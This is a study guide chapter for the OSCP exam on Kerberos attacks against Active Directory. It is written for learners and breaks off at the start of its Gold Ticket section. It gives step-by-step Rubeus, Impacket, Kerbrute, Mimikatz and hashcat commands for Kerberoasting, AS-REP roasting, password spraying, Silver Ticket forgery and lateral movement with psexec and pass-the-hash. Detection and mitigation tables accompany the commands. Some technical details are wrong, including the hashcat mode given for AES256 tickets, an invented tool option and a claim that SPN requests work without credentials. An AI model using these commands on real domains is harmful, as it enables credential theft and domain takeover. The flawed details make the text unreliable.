Kerberos Attacks — Expanded Study Guide
OSCP Study Guide | Chapter 18 | Active Directory Authentication
This expanded topic covers every Kerberos-based attack vector you need to master for the OSCP exam and real-world Active Directory engagements. Each section includes deep vulnerability explanations, prerequisites, Mermaid attack-flow diagrams, multi-tool exploitation steps, detection and mitigation tables, exam relevance notes, lab practice suggestions, and troubleshooting tips.
Table of Contents
- 2.1 Kerberoasting
- 2.2 AS-REP Roasting
- 2.3 Silver Ticket Attack
- 2.4 Gold Ticket Attack
- 2.5 Ticket Forwarding
- 2.6 S4U2Self / S4U2Proxy Abuse
- 2.7 Unconstrained Delegation Abuse
- 2.8 Constrained Delegation Abuse
- 2.9 Resource-Based Constrained Delegation (RBCD)
- 2.10 Shadow Credentials
- 2.11 Kerberos Delegation Summary Table
2.1 Kerberoasting
Vulnerability Explanation
Kerberoasting is one of the most common and reliable Active Directory attack techniques. It exploits a fundamental design feature of Kerberos — not a bug — making it extremely prevalent in real-world environments.
How Kerberos Service Authentication Works (Normal Flow):
When a user wants to access a network service (SQL Server, SharePoint, file share, etc.), the following happens:
- The service is registered in AD with a Service Principal Name (SPN) — a unique identifier like
MSSQLSvc/sqlserver.domain.com:1433. - The service runs under a specific service account (a domain user or computer account).
- When a client requests access, the KDC’s TGS (Ticket-Granting Service) creates a TGS ticket encrypted with the service account’s NTLM hash (derived from its password).
- The client presents this ticket to the service, which decrypts it using its own hash to verify the client’s identity.
The Vulnerability:
The critical insight is that any authenticated domain user can request a TGS ticket for any SPN in the domain. The KDC will happily issue the ticket, encrypted with the service account’s hash. An attacker can:
- Enumerate all SPNs in the domain
- Request TGS tickets for each one
- Extract the encrypted portion (which is encrypted with the service account’s NTLM hash)
- Crack the hash offline — no interaction with the target service or KDC needed during cracking
This is why it’s called “roasting” — analogous to “pass-the-hash” but applied to Kerberos TGS tickets.
Why This Is So Dangerous:
- Zero special privileges required — any domain user, even with the weakest account, can perform this attack
- Completely offline cracking — the target service never knows a ticket was requested for it
- No alerting on the target — the service account’s machine doesn’t see any suspicious activity
- Service accounts often have weak passwords — many are set once and never rotated, or use simple patterns
- Works across the entire domain — no local access needed, just domain authentication
Encryption Types Matter:
| Encryption Type (etype) | Algorithm | Hashcat Mode | Crack Speed | Notes |
|---|---|---|---|---|
| 23 | RC4-HMAC | 13100 | Very Fast | Most common, weakest, default for older accounts |
| 17 | AES128-CTS-HMAC-SHA1 | 19600 | Moderate | Requires AES-enabled account |
| 18 | AES256-CTS-HMAC-SHA1 | 19600 | Slow | Strongest, still crackable with GPU |
Key Insight: RC4-HMAC (etype 23) tickets can be cracked at millions of hashes per second on a modern GPU. A 12-character password can fall in seconds. AES tickets are significantly slower but still vulnerable to determined attacks.
Prerequisites
| Requirement | Details |
|---|---|
| Domain user account | Any valid domain user — no admin rights needed |
| Network access to domain | Must reach a Domain Controller on port 88 (Kerberos) |
| Target SPN exists | The service account must have an SPN registered in AD |
| Cracking resources | GPU for Hashcat (recommended) or CPU for John the Ripper |
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant Cracker
Note over Attacker: Recon Phase
Attacker->>KDC: 1. Enumerate all SPNs in domain<br/>(LDAP query on port 389/636)
KDC-->>Attacker: 1. List of all registered SPNs
Note over Attacker: Exploitation Phase
loop For each interesting SPN
Attacker->>KDC: 2. TGS-REQ for SPN<br/>(Request service ticket)
KDC-->>Attacker: 3. TGS-REP<br/>(Ticket encrypted with service account NTLM hash)
end
Note over Attacker: Post-Exploitation Phase
Attacker->>Cracker: 4. Extract hash from ticket<br/>($krb5tgs$23$...)
Cracker->>Cracker: 5. Offline brute-force / dictionary attack
Cracker-->>Attacker: 6. Plaintext password or NTLM hash recovered
Note over Attacker: Use recovered credentials<br/>for lateral movement / privilege escalation
Step-by-Step Exploitation
Phase 1: Enumeration — Find Target SPNs
Method 1: Rubeus (Recommended — most detailed output)
# Enumerate all SPNs with full statistics
# /stats shows: user, SPN, encryption type, when last requested
Rubeus.exe kerberoast /stats
# Example output:
# [+] User : SQLService
# [+] ServicePN : MSSQLSvc/sql01.domain.com:1433
# [+] DistinguishedName : CN=SQLService,CN=Users,DC=domain,DC=com
# [+] EncryptionType : aes256-cts-hmac-sha1-96 / rc4-hmac
# [+] LastPasswordSet : 2023-01-15 08:30:00Z
Parameter breakdown:
/stats— Display SPN statistics without requesting tickets (safe recon)- Without
/stats, Rubeus will immediately request and extract tickets
Method 2: PowerView (PowerShell AD reconnaissance)
# Import PowerView
Import-Module .\PowerView.ps1
# Find all users with SPNs set
Get-DomainUser -SPN
# Find all computers with SPNs
Get-DomainComputer -SPN
# Filter for specific service types
Get-DomainUser -SPN | Where-Object { $_.servicePrincipalName -like "MSSQLSvc*" }
# Get detailed properties including password last set
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,whenpasswordlastset,passwordlastset
Method 3: Impacket (from Linux / Kali)
# Enumerate users with SPNs (no password needed if using NULL sessions, otherwise provide creds)
python3 GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.10 -request
# If you have no credentials but NULL sessions are enabled:
python3 GetUsersSPNs.py domain.com/ -dc-ip 10.10.10.10 -request -format hashcat
Method 4: Native PowerShell (no tools required)
# Using ActiveDirectory module (if available)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet
# Using ADSI (works without AD module)
$ADS = [ADSI]"LDAP://<DOMAIN>"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($ADS)
$Searcher.Filter = "(servicePrincipalName=*)"
$Searcher.FindAll() | ForEach-Object {
Write-Host "User: $($_.Properties.samaccountname) SPN: $($_.Properties.serviceprincipalname)"
}
Phase 2: Request and Extract TGS Tickets
Method 1: Rubeus (Best for Windows-based attacks)
# Request TGS tickets for ALL SPNs and save hashes
# /outfile saves the extracted hashes to a file in Hashcat format
Rubeus.exe kerberoast /outfile:tickets.kerberoast
# Request TGS for a SPECIFIC SPN only
Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.domain.com:1433 /outfile:sql_ticket.hash
# Request and display output to console (no file)
Rubeus.exe kerberoast /display
# Request with a specific output format
Rubeus.exe kerberoast /format:hashcat /outfile:tickets.hashcat
Rubeus.exe kerberoast /format:john /outfile:tickets.john
# OpSec mode — avoid logging the service account names in event logs
Rubeus.exe kerberoast /opsec /outfile:tickets.kerberoast
Parameter breakdown:
/outfile:<path>— Write extracted hashes to file/spn:<spn>— Target a specific SPN instead of all/format:hashcat|john— Output format (default is hashcat)/display— Show ticket details without saving/opsec— OperSec mode, avoids writing sensitive data to disk or logs/domain:<domain>— Specify target domain/user:<user>— Specify user to request as/rc4:<hash>— Use specific hash for authentication
Method 2: Impacket GetUserSPNs.py (Best for Linux / Kali)
# Request all SPN tickets and output in Hashcat format
python3 GetUserSPNs.py domain.com/user:password -request -format hashcat -dc-ip 10.10.10.10 -outputfile tickets.hash
# Request for a specific SPN
python3 GetUserSPNs.py domain.com/user:password -request -spn MSSQLSvc/sql01.domain.com:1433 -dc-ip 10.10.10.10
# Request as a different user (impersonation)
python3 GetUserSPNs.py domain.com/user:password -request-from target_spn -dc-ip 10.10.10.10
# Output in John the Ripper format
python3 GetUserSPNs.py domain.com/user:password -request -format john -dc-ip 10.10.10.10
Parameter breakdown:
-request— Actually request TGS tickets (without this, only enumerates)-format hashcat|john— Output format for the extracted hash-dc-ip <ip>— Domain Controller IP address (speeds up resolution)-outputfile <file>— Save hashes to file-spn <spn>— Target specific SPN-request-from <spn>— Request ticket for this SPN
Method 3: PowerView (Get-DomainSPNTicket)
# Request TGS tickets for all users with SPNs
# Returns ticket objects that can be piped to other tools
Get-DomainUser -SPN | Get-DomainSPNTicket
# Request for specific user
Get-DomainUser -Identity SQLService | Get-DomainSPNTicket
# Extract the hash from the returned object
$tickets = Get-DomainUser -SPN | Get-DomainSPNTicket
$tickets[0].EncryptedPart
Phase 3: Crack the Extracted Hashes
Hashcat (GPU-accelerated, recommended)
# RC4-HMAC (etype 23) — MOST COMMON
# Mode 13100, use -O for GPU optimization
hashcat -m 13100 tickets.kerberoast /usr/share/wordlists/rockyou.txt -O --session kerberoast-rc4
# AES128-CTS-HMAC-SHA1 (etype 17)
hashcat -m 19600 tickets_aes128.kerberoast /usr/share/wordlists/rockyou.txt --session kerberoast-aes128
# AES256-CTS-HMAC-SHA1 (etype 18)
hashcat -m 19600 tickets_aes256.kerberoast /usr/share/wordlists/rockyou.txt --session kerberoast-aes256
# With rule-based attack (mutates wordlist entries)
hashcat -m 13100 tickets.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O
# Combined attack: dictionary + rules + mask
hashcat -m 13100 tickets.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -a 6 '?u?l?l?l?d?d' -O
# Show already cracked passwords
hashcat -m 13100 tickets.kerberoast /usr/share/wordlists/rockyou.txt -O --show
# Resume a previous session
hashcat -m 13100 tickets.kerberoast /usr/share/wordlists/rockyou.txt -O --restore
Parameter breakdown:
-m 13100— Hash mode for Kerberos 5 TGS (etype 23, RC4-HMAC)-m 19600— Hash mode for Kerberos 5 TGS (etype 17/18, AES)-O— GPU optimization flag (significantly speeds up RC4)-r <rules>— Apply mutation rules to the wordlist-a 6— Combination attack mode (wordlist + mask)--session <name>— Label this cracking session--restore— Resume the last interrupted session--show— Display already-cracked hashes
John the Ripper (CPU-based alternative)
# Auto-detect format and crack
john --wordlist=/usr/share/wordlists/rockyou.txt tickets.kerberoast
# Specify format explicitly
john --format=krb5tgs tickets.kerberoast --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john --show tickets.kerberoast
Phase 4: Post-Exploitation — Use Recovered Credentials
# Once you have the plaintext password:
# Method 1: Direct login
runas /user:domain\SQLService "cmd.exe"
# Method 2: Pass-the-Hash (if you have the NTLM hash)
sekurlsa::pth /user:SQLService /domain:domain.com /ntlm:<ntlm_hash> /run:"cmd.exe"
# Method 3: Impacket from Linux
python3 psexec.py domain.com/SQLService:<password>@10.10.10.20
# Method 4: CrackMapExec / NetExec
crackmapexec smb 10.10.10.20 -u SQLService -p <password> -d domain.com
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4769 (Kerberos TGS ticket issued) | Monitor for large number of TGS requests from a single user in a short time. Legitimate users rarely request tickets for many different services. |
| Ticket size anomalies | Kerberoasted tickets often have unusual sizes. Monitor for TGS-REP events with atypical encrypted-part lengths. |
| etype 23 (RC4) requests | Alert on TGS requests specifically asking for RC4 encryption — this is the most crackable type. |
| SIEM correlation | Correlate TGS requests followed by no actual service access — the attacker extracted the hash but never used the ticket against the real service. |
| Baseline deviation | Establish baselines for which users normally request which service tickets. Alert on deviations. |
| Mitigation Strategy | Implementation |
|---|---|
| Strong service account passwords | Use 25+ character random passwords for all service accounts. This is the single most effective mitigation. |
| gMSA (Group Managed Service Accounts) | Deploy gMSA — passwords are 120 random characters, auto-rotated every 30 days, and cannot be cracked. This is the gold-standard fix. |
| Force AES encryption | Set msDS-SupportedEncryptionTypes to require AES128/AES256. Prevents etype 23 (RC4) tickets. |
| Remove unnecessary SPNs | Audit and remove SPNs that are no longer needed. Fewer SPNs = fewer targets. |
| Monitor and alert | Deploy SIEM rules for mass TGS requests. Alert on any user requesting tickets for service accounts they don’t normally access. |
| Disable RC4 at domain level | Set minimum encryption type via Group Policy to AES-128 or higher. |
OSCP Exam Relevance
High Priority — Kerberoasting is one of the most frequently tested AD attacks on OSCP. You will likely encounter it in at least one machine or lab scenario.
What examiners expect you to know:
- How to enumerate SPNs using at least two different tools
- How to extract TGS tickets and identify the hash format
- How to crack the hash with Hashcat (know mode 13100 by heart)
- That no special privileges are needed — any domain user can kerberoast
- The difference between etype 23 (RC4, mode 13100) and etype 17/18 (AES, mode 19600)
- How to use the recovered password for lateral movement
Common exam scenario: You gain a low-privilege domain user account → enumerate SPNs → find a service account with a weak password → kerberoast → crack → the service account has local admin on a valuable server → escalate.
Lab Practice Suggestions
- TryHackMe: “Kerberoasting” room — hands-on kerberoasting with Rubeus and Hashcat
- HackTheBox: Machines like “Active Directory” collection — practice full kerberoasting chain
- GoPractice / OSCP Lab: Find any Windows domain machine → get a low-priv shell → run Rubeus → kerberoast → crack with Hashcat on your Kali box
- Custom lab: Set up a Windows VM with an SPN registered under a weak-password account → practice the full chain from enumeration to credential recovery
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| Rubeus returns no SPNs | Verify you’re authenticated to the domain. Try Rubeus.exe status first. Check network connectivity to DC on port 88. |
| Hashcat says “invalid hash format” | Ensure you’re using the correct mode. Rubeus default output is mode 13100. If you used /format:john, use John instead of Hashcat. |
| Hashcat mode 13100 is slow | Add the -O flag for GPU optimization. Ensure your GPU drivers and CUDA are properly installed. |
| AES tickets won’t crack | AES is much slower. Try rule-based attacks first. If the password is strong, AES tickets may be uncrackable — move to the next target. |
| Recovered password doesn’t work | The password may have changed since the ticket was issued. Re-request the ticket. Or try using the NTLM hash directly with Pass-the-Hash. |
| GetUserSPNs.py connection refused | Verify the -dc-ip parameter points to the correct Domain Controller. Check that port 88 (Kerberos) and 389/636 (LDAP) are reachable. |
| Rubeus “Access Denied” on kerberoast | You may not be logged into the domain. Use klist purge then re-authenticate. Try specifying /domain:domain.com /user:user /password:pass. |
2.2 AS-REP Roasting
Vulnerability Explanation
AS-REP Roasting exploits a specific Kerberos configuration weakness: accounts that have pre-authentication disabled. Understanding this attack requires understanding what Kerberos pre-authentication does.
Normal Kerberos Authentication (with Pre-Auth):
- Client sends an AS-REQ to the KDC, containing a timestamp encrypted with the user’s NTLM hash-derived key
- The KDC decrypts this timestamp using the user’s stored hash
- If it matches, the KDC knows the client possesses the correct password
- The KDC returns an AS-REP containing a TGT
This pre-authentication step prevents an attacker from simply asking the KDC for any user’s TGT — the KDC would reject the request because the attacker can’t encrypt the timestamp without knowing the password.
When Pre-Authentication is Disabled:
Some accounts are configured with the “Do not require Kerberos preauthentication” flag (UF_DONT_REQUIRE_PREAUTH = 0x400000). When this flag is set:
- An attacker sends an AS-REQ for the target user — without any encrypted timestamp
- The KDC, seeing pre-auth is not required, happily processes the request
- The KDC returns an AS-REP that contains data encrypted with the user’s NTLM hash
- The attacker extracts this encrypted data and cracks it offline — same as Kerberoasting, but at the AS stage instead of TGS
Why Would Pre-Auth Be Disabled?
- Legacy compatibility with older systems (pre-Windows 2000)
- Misconfiguration during account creation
- Service accounts created by scripts that don’t set proper flags
- Some third-party applications explicitly disable pre-auth during setup
Key Differences from Kerberoasting:
| Aspect | Kerberoasting | AS-REP Roasting |
|---|---|---|
| Stage exploited | TGS (service ticket) | AS (initial authentication) |
| Credentials needed | Valid domain user | None — works anonymously |
| Target | Service accounts with SPNs | Accounts with pre-auth disabled |
| Hash type | TGS encrypted with service hash | AS-REP encrypted with user’s own hash |
| Hashcat mode | 13100 (RC4), 19600 (AES) | 18200 (RC4), 19100/19200 (AES) |
Prerequisites
| Requirement | Details |
|---|---|
| Network access to domain | Must reach a Domain Controller on port 88 (Kerberos) |
| No credentials needed | Unlike Kerberoasting, you don’t even need a valid domain account |
| Target account flag | The target account must have UF_DONT_REQUIRE_PREAUTH (0x400000) set |
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant Cracker
Note over Attacker: Recon Phase
Attacker->>KDC: 1. AS-REQ for each user<br/>(No pre-auth data, no encryption)
alt User requires pre-auth
KDC-->>Attacker: 1b. Rejects request<br/>(pre-auth required)
else User does NOT require pre-auth
KDC-->>Attacker: 1c. AS-REP<br/>(Encrypted with user's NTLM hash)
end
Note over Attacker: The rejection itself reveals<br/>which users DON'T need pre-auth
Note over Attacker: (This is how enumeration works)
Note over Attacker: Exploitation Phase
Attacker->>Cracker: 2. Extract hash from AS-REP<br/>($krb5asrep$23$...)
Cracker->>Cracker: 3. Offline brute-force / dictionary attack
Cracker-->>Attacker: 4. Plaintext password recovered
Note over Attacker: Use recovered credentials<br/>for domain access
Step-by-Step Exploitation
Phase 1: Find Vulnerable Accounts
Method 1: Rubeus (Fastest, most reliable)
# Enumerate all accounts with pre-auth disabled
# Automatically requests AS-REP and extracts hashes
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hashcat
# Also output in John the Ripper format
Rubeus.exe asreproast /format:john /outfile:asreproast.john
# Display results to console only
Rubeus.exe asreproast /display
# OpSec mode
Rubeus.exe asreproast /opsec /format:hashcat /outfile:asreproast.hashcat
Parameter breakdown:
/format:hashcat|john— Output format for extracted hashes/outfile:<path>— Save hashes to file/display— Show results on screen/opsec— OperSec mode, minimize logging/domain:<domain>— Target domain/user:<user>— Check a specific user only
Method 2: Impacket GetNPUsers.py (Best for Linux / Kali)
# Enumerate all accounts not requiring pre-auth
# -no-pass means no password needed (anonymous request)
python3 GetNPUsers.py domain.com/ -no-pass -format hashcat -outputfile asreproast.hash -dc-ip 10.10.10.10
# Check specific users from a list
python3 GetNPUsers.py domain.com/ -usersfile usernames.txt -format hashcat -outputfile asreproast.hash
# Check a specific user
python3 GetNPUsers.py domain.com/targetuser -no-pass -format hashcat -dc-ip 10.10.10.10
# Output in John the Ripper format
python3 GetNPUsers.py domain.com/ -no-pass -format john -outputfile asreproast.john
Parameter breakdown:
-no-pass— No password required (anonymous AS-REQ)-usersfile <file>— File containing usernames to check-format hashcat|john— Output format-outputfile <file>— Save results to file-dc-ip <ip>— Domain Controller IP
Method 3: Kerbrute (Specialized tool, very fast)
# AS-REP roasting mode
kerbrute asreproast -d domain.com -users usernames.txt -o asreproast_output.txt
# AS-REP roast with password spray (combines enumeration with brute force)
kerbrute passwordspray -d domain.com -users usernames.txt -p Password123
# Brute force user passwords (will also find AS-REP roastable accounts)
kerbrute bruteuser -d domain.com -user targetuser -passwords passwords.txt
Method 4: PowerView
# Find users with pre-auth disabled
Get-DomainUser -PreauthNotRequired
# Get detailed info
Get-DomainUser -PreauthNotRequired -Properties samaccountname,distinguishedname,whencreated,enabled
Method 5: Native PowerShell
# Using ActiveDirectory module
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Using ADSI (no module needed)
$ADS = [ADSI]"LDAP://<DOMAIN>"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($ADS)
$Searcher.Filter = "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$Searcher.FindAll()
Phase 2: Crack the Extracted Hashes
# RC4-HMAC (etype 23) — MOST COMMON for AS-REP
hashcat -m 18200 asreproast.hashcat /usr/share/wordlists/rockyou.txt -O --session asreproast-rc4
# AES128-CTS-HMAC-SHA1 (etype 17)
hashcat -m 19100 asreproast_aes128.hash /usr/share/wordlists/rockyou.txt --session asreproast-aes128
# AES256-CTS-HMAC-SHA1 (etype 18)
hashcat -m 19200 asreproast_aes256.hash /usr/share/wordlists/rockyou.txt --session asreproast-aes256
# With rules
hashcat -m 18200 asreproast.hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O
Hashcat mode reference for AS-REP Roasting:
| etype | Algorithm | Hashcat Mode | Prefix in hash file |
|---|---|---|---|
| 23 | RC4-HMAC | 18200 | $krb5asrep$23$ |
| 17 | AES128 | 19100 | $krb5asrep$17$ |
| 18 | AES256 | 19200 | $krb5asrep$18$ |
Phase 3: Post-Exploitation
# Use recovered password to authenticate
# Method 1: Direct login
runas /user:domain\targetuser "cmd.exe"
# Method 2: CrackMapExec
crackmapexec smb 10.10.10.0/24 -u targetuser -p <password> -d domain.com
# Method 3: Impacket
python3 psexec.py domain.com/targetuser:<password>@10.10.10.20
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event ID 4768 (Kerberos TGT issued) without pre-auth data | Monitor AS-REQ events that lack pre-authentication encryption. These indicate AS-REP roasting attempts. |
| Anonymous AS-REQ requests | Alert on AS-REQ from unauthenticated sources. Legitimate users normally provide pre-auth data. |
| Mass AS-REQ from single source | Multiple AS-REP requests from one IP in a short window is a strong indicator of automated roasting. |
| SIEM correlation | Correlate AS-REP requests with no subsequent legitimate TGS activity from the same source. |
| Mitigation Strategy | Implementation |
|---|---|
| Enable pre-auth for all accounts | Set-ADUser -Identity targetuser -Replace @{userAccountControl=($((Get-ADUser targetuser).userAccountControl) -bxor 0x400000)} |
| Audit regularly | Run Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} periodically |
| Automated scanning | Deploy scripts that alert when new accounts are created with pre-auth disabled |
| Strong passwords | Even if AS-REP roasting is possible, strong passwords prevent offline cracking |
| Account lockdown | Disable or remove accounts that don’t need pre-auth disabled. Most legacy requirements can be addressed differently. |
OSCP Exam Relevance
High Priority — AS-REP Roasting is commonly paired with Kerberoasting in exam scenarios. Often, the AS-REP roastable account provides the initial foothold into the domain.
What examiners expect you to know:
- That no credentials are needed to perform AS-REP roasting
- How to identify accounts with pre-auth disabled
- Hashcat mode 18200 for RC4 AS-REP hashes
- The difference between AS-REP roasting (mode 18200) and Kerberoasting (mode 13100)
Lab Practice Suggestions
- TryHackMe: “AS-REP Roasting” room
- HTB: Machines with misconfigured AD accounts
- OSCP Lab: Look for Windows domains → run
GetNPUsers.pywith-no-pass→ crack any returned hashes
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| GetNPUsers.py returns “No users found” | The domain may have no accounts with pre-auth disabled. Try a different domain or verify your -dc-ip. |
| Kerbrute hangs on AS-REP roast | Try adding --delay parameter to slow down requests. Check firewall rules for port 88. |
| Hashcat mode 18200 fails | Verify the hash format starts with $krb5asrep$23$. If it starts with $krb5asrep$17$, use mode 19100 instead. |
| Rubeus asreproast returns nothing | Verify domain connectivity. Try Rubeus.exe status first. The domain may have no vulnerable accounts. |
2.3 Silver Ticket Attack
Vulnerability Explanation
A Silver Ticket is a forged TGS (service) ticket created entirely offline by the attacker. It represents one of the most stealthy Kerberos attacks because it generates zero KDC events — the Domain Controller never knows the ticket was created.
How a Legitimate TGS Ticket Works:
- User presents their TGT to the KDC’s TGS, requesting access to a specific service
- The TGS creates a service ticket encrypted with the target service account’s NTLM hash
- The user presents this ticket to the target service
- The service decrypts the ticket with its own hash and grants access
How a Silver Ticket Exploits This:
The attacker:
- Obtains the NTLM hash of a service account (e.g., the account running IIS, MSSQL, or CIFS on a file server)
- Forges a TGS ticket locally — encrypted with that service account’s hash
- Presents the forged ticket directly to the target service
- The service decrypts the ticket, sees a valid-looking authentication, and grants access
Critical Insight: The target service cannot distinguish between a legitimate TGS ticket issued by the KDC and a forged one — both are encrypted with the same key (the service account’s hash). The service has no way to contact the KDC to verify the ticket’s origin.
What You Need to Forge a Silver Ticket:
| Required Information | How to Obtain |
|---|---|
| Service account NTLM hash | LSASS dump, SAM extraction, password spraying, or other credential theft |
| Domain SID | whoami /user or Get-Domain in PowerView |
| Target SPN | Enumerate via LDAP or known service information |
| Target hostname | The machine hosting the target service |
| Username to impersonate | Can be any username — even one that doesn’t exist |
Silver Ticket vs Gold Ticket:
| Feature | Silver Ticket | Gold Ticket |
|---|---|---|
| Ticket type | Forged TGS (service ticket) | Forged TGT |
| Required hash | Service account NTLM hash | krbtgt NTLM hash |
| Scope | One specific service only | Any service in the domain |
| KDC interaction | None | None |
| Detection | Extremely hard | Extremely hard |
| Impact | Service-level access | Full domain compromise |
Prerequisites
| Requirement | Details |
|---|---|
| Service account NTLM hash | The hash of the account running the target service |
| Domain SID | Security Identifier of the target domain |
| Target SPN and hostname | The service principal name and machine name |
| No domain credentials needed | Attack is fully offline after initial hash theft |
Attack Flow
sequenceDiagram
participant Attacker
participant VictimMachine
participant TargetService
Note over Attacker: Preparation Phase
Note over Attacker: 1. Obtain service account NTLM hash<br/>(via LSASS dump, DCSync, etc.)
Note over Attacker: 2. Gather Domain SID, target SPN, hostname
Note over Attacker: Forgery Phase (Offline)
Attacker->>Attacker: 3. Forge TGS ticket locally<br/>(encrypted with service account hash)
Note over Attacker: Ticket claims to be for<br/>any user (even non-existent)
Note over Attacker: Exploitation Phase
Attacker->>TargetService: 4. Present forged TGS ticket<br/>(Pass-the-Ticket)
TargetService->>TargetService: 5. Decrypt with own hash<br/>(Ticket looks valid!)
TargetService-->>Attacker: 6. Grant access as impersonated user
Note over VictimMachine: No KDC events generated<br/>Domain Controller is unaware
Step-by-Step Exploitation
Phase 1: Gather Required Information
# Get Domain SID
whoami /user
# Output:
# USER INFORMATION
# User Name SID
# =================== ===========================================
# DOMAIN\user S-1-5-21-1234567890-1234567890-1234567890
# Get service account hash (example — obtained via LSASS dump)
# From Mimikatz sekurlsa::logonpasswords output:
# NTLM: aad3b435b51404eeaad3b435b51404ee (this is a dummy — use real hash)
# Identify target SPN
# Common SPNs:
# cifs/fileserver.domain.com (SMB / file share)
# MSSQLSvc/sqlserver.domain.com:1433 (SQL Server)
# www/webserver.domain.com (IIS / web server)
# host/server.domain.com (Generic host service)
Phase 2: Forge and Inject the Silver Ticket
Method 1: Mimikatz (Most Common)
# Full Silver Ticket creation with Pass-the-Ticket
kerberos::golden /sid:S-1-5-21-1234567890-1234567890-1234567890 `
/rc4:aad3b435b51404eeaad3b435b51404ee `
/target:fileserver.domain.com `
/service:cifs `
/user:Administrator `
/domain:domain.com `
/ptt
# Parameter breakdown:
# /sid:<domain_sid> — Domain SID (required)
# /rc4:<ntlm_hash> — Service account NTLM hash (RC4 encryption)
# /aes128:<key> — Alternative: AES128 key
# /aes256:<key> — Alternative: AES256 key
# /target:<hostname> — Target machine hostname
# /service:<service> — Service type (cifs, mssql, www, host, etc.)
# /user:<username> — Username to impersonate (can be fake!)
# /domain:<domain> — Domain FQDN
# /ptt — "Pass the Ticket" — inject into current session
# /id:<uid> — UID to impersonate (500 = Administrator)
# /groups:<groups> — Group SIDs to include
# /startoffset:0 — Ticket start time offset (minutes)
# /endin:600 — Ticket lifetime (minutes, default 10 hours)
# /renewmax:10080 — Max renewal time (minutes)
# Verify the ticket was injected
klist
# You should see a TGS ticket for cifs/fileserver.domain.com
# Access the target service
dir \\fileserver.domain.com\C$
Creating a Silver Ticket for SQL Server:
kerberos::golden /sid:S-1-5-21-1234567890-1234567890-1234567890 `
/rc4:<mssql_service_hash> `
/target:sqlserver.domain.com `
/service:MSSQLSvc `
/user:sa `
/domain:domain.com `
/ptt
Method 2: Rubeus
# Create Silver Ticket and inject
Rubeus.exe tgs /rc4:<service_hash> `
/service:cifs `
/target:fileserver.domain.com `
/domain:domain.com `
/user:attacker `
/ptt
# Create and save to file (instead of injecting)
Rubeus.exe tgs /rc4:<service_hash> `
/service:cifs `
/target:fileserver.domain.com `
/domain:domain.com `
/user:attacker `
/outfile:silver_ticket.kirbi
# Inject a saved ticket
Rubeus.exe ptt /ticket:silver_ticket.kirbi
Phase 3: Access the Target Service
# After ticket injection, access works immediately:
# SMB access
dir \\fileserver.domain.com\C$
dir \\fileserver.domain.com\ADMIN$
# WMI access
Get-WmiObject -ComputerName fileserver.domain.com Win32_OperatingSystem
# PowerShell Remoting
Enter-PSSession -ComputerName fileserver.domain.com
# SQL access (if targeting MSSQLSvc)
# Use SQL tools with Kerberos authentication
Detection and Mitigation
| Detection Method | Details |
|---|---|
| No KDC events | Silver tickets generate NO Event 4768 or 4769. The absence of KDC activity preceding service access is a red flag. |
| Authentication without TGS request | If a user authenticates to a service but no corresponding TGS-REQ was logged, a forged ticket may be in use. |
| Unusual access patterns | Alert on accounts accessing services they never normally use, especially from unusual source IPs. |
| Single-service access | Silver ticket users can only access the specific forged service. Monitor for users who can access one service but fail on others. |
| Ticket lifetime anomalies | Forged tickets may have unusual lifetimes (very long or starting in the past). |
| Mitigation Strategy | Implementation |
|---|---|
| Strong service account passwords | Long, random passwords make hash theft and ticket forging harder |
| gMSA for all services | Group Managed Service Accounts have 120-char auto-rotated passwords |
| LAPS for local admin | Prevents local admin hash reuse across services |
| SACL auditing | Enable System Access Control Lists on sensitive services to log access attempts |
| Constrained delegation | Use constrained delegation instead of broad service account access |
| Behavioral monitoring | Deploy UEBA (User Entity Behavior Analytics) to detect anomalous access patterns |
OSCP Exam Relevance
Medium-High Priority — Silver Ticket attacks appear in advanced AD scenarios. You typically need to first compromise a service account, obtain its hash, then forge a ticket.
What examiners expect you to know:
- The difference between Silver Ticket (service hash, one service) and Gold Ticket (krbtgt hash, all services)
- How to use Mimikatz
kerberos::goldenwith/serviceand/targetparameters - That Silver Tickets generate no KDC events (stealthy)
- The required inputs: domain SID, service hash, target hostname, SPN
Lab Practice Suggestions
- Compromise a service account in the OSCP lab
- Dump its NTLM hash via Mimikatz
- Forge a Silver Ticket for CIFS on a file server
- Access the file share using the forged ticket
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| Mimikatz “Ticket is not valid” | Verify the Domain SID is correct. A wrong SID will cause the ticket to be rejected. |
| Access denied after injection | Check that /target matches the exact hostname the service is running on. SPN must match. |
| klist shows no ticket after /ptt | Ensure you’re running Mimikatz as Administrator. /ptt requires elevated privileges. |
| Wrong service type | Use the correct service name: cifs for SMB, MSSQLSvc for SQL, www for IIS, host for generic. |
2.4 Gold Ticket Attack
Vulnerability Explanation
A Gold Ticket is a forged TGT (Ticket Granting Ticket) — the most powerful and dangerous Kerberos attack. It represents complete domain compromise.
Why the krbtgt Account Is Critical:
In Kerberos, the krbtgt (Kerberos Ticket Granting Ticket) account is a special domain account. Its NTLM hash is used by the KDC to encrypt all TGTs. Every time any user in the domain authenticates, their TGT is encrypted with the krbtgt hash.
This means:
- If an attacker has the krbtgt NTLM hash, they can forge a TGT for any user
- A forged TGT can be used to request TGS tickets for any service in the domain
- The attacker can impersonate any user, including the Domain Administrator
- The attack is completely offline — no KDC interaction needed after hash theft
Gold Ticket vs Silver Ticket — The Key Difference:
| Aspect | Silver Ticket | Gold Ticket |
